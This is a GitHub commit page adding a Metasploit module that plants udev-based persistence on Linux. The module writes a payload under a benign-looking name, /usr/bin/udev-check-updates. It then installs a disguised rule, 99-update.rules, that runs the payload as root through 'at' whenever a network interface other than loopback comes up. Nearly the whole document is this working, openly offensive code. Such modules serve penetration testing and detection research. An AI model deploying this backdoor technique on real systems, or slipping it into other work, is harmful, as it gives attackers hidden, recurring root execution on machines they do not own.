Skip to content

Commit 36ec9d6

Browse files
jvoisinjheysel-r7
andcommitted
Add modules/exploits/linux/local/udev_persistence.rb
Co-authored-by: jheysel-r7 <[email protected]>
1 parent c7d1e34 commit 36ec9d6

File tree

1 file changed

+65
-0
lines changed

1 file changed

+65
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
8+
include Msf::Post::File
9+
include Msf::Post::Unix
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'udev persistence',
16+
'Description' => %q{
17+
This module will add a script in /lib/udev/rules.d/ in order to execute a payload written on disk.
18+
It'll be executed with root privileges everytime a network interface other than l0 comes up.
19+
},
20+
'License' => MSF_LICENSE,
21+
'Author' => [ 'Julien Voisin' ],
22+
'Platform' => [ 'unix', 'linux' ],
23+
'Arch' => ARCH_CMD,
24+
'SessionTypes' => [ 'shell', 'meterpreter' ],
25+
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
26+
'Targets' => [ ['Automatic', {}] ],
27+
'DefaultTarget' => 0,
28+
'DisclosureDate' => '1999-01-01',
29+
'Notes' => {
30+
'Stability' => [],
31+
'Reliability' => [EVENT_DEPENDENT],
32+
'SideEffects' => [ARTIFACTS_ON_DISK]
33+
},
34+
'References' => [
35+
['URL', 'https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp'],
36+
['URL', 'https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/'],
37+
]
38+
)
39+
)
40+
register_options([ OptString.new('PAYLOAD_PATH', [true, 'The payload\'s path on disk', '/usr/bin/udev-check-updates']) ])
41+
register_options([ OptString.new('BACKDOOR_PATH', [true, 'The backdoor\'s path on disk', '/lib/udev/rules.d/99-update.rules']) ])
42+
end
43+
44+
def exploit
45+
unless writable? File.dirname(datastore['BACKDOOR_PATH'])
46+
fail_with Failure::BadConfig, "#{datastore['BACKDOOR_PATH']} is not writable"
47+
end
48+
if exists? datastore['BACKDOOR_PATH']
49+
fail_with Failure::BadConfig, "#{datastore['BACKDOOR_PATH']} is already present"
50+
end
51+
52+
unless writable? File.dirname(datastore['PAYLOAD_PATH'])
53+
fail_with Failure::BadConfig, "#{datastore['PAYLOAD_PATH']} is not writable"
54+
end
55+
if exists? datastore['PAYLOAD_PATH']
56+
fail_with Failure::BadConfig, "#{datastore['PAYLOAD_PATH']} is already present"
57+
end
58+
59+
upload_and_chmodx(datastore['PAYLOAD_PATH'], "#!/bin/sh\n#{payload.encoded}")
60+
print_status "#{datastore['PAYLOAD_PATH']} written"
61+
62+
write_file(datastore['BACKDOOR_PATH'], 'SUBSYSTEM=="net", KERNEL!="lo", RUN+="/usr/bin/at -M -f ' + datastore['PAYLOAD_PATH'] + ' now"')
63+
print_status "#{datastore['BACKDOOR_PATH']} written"
64+
end
65+
end

0 commit comments

Comments
 (0)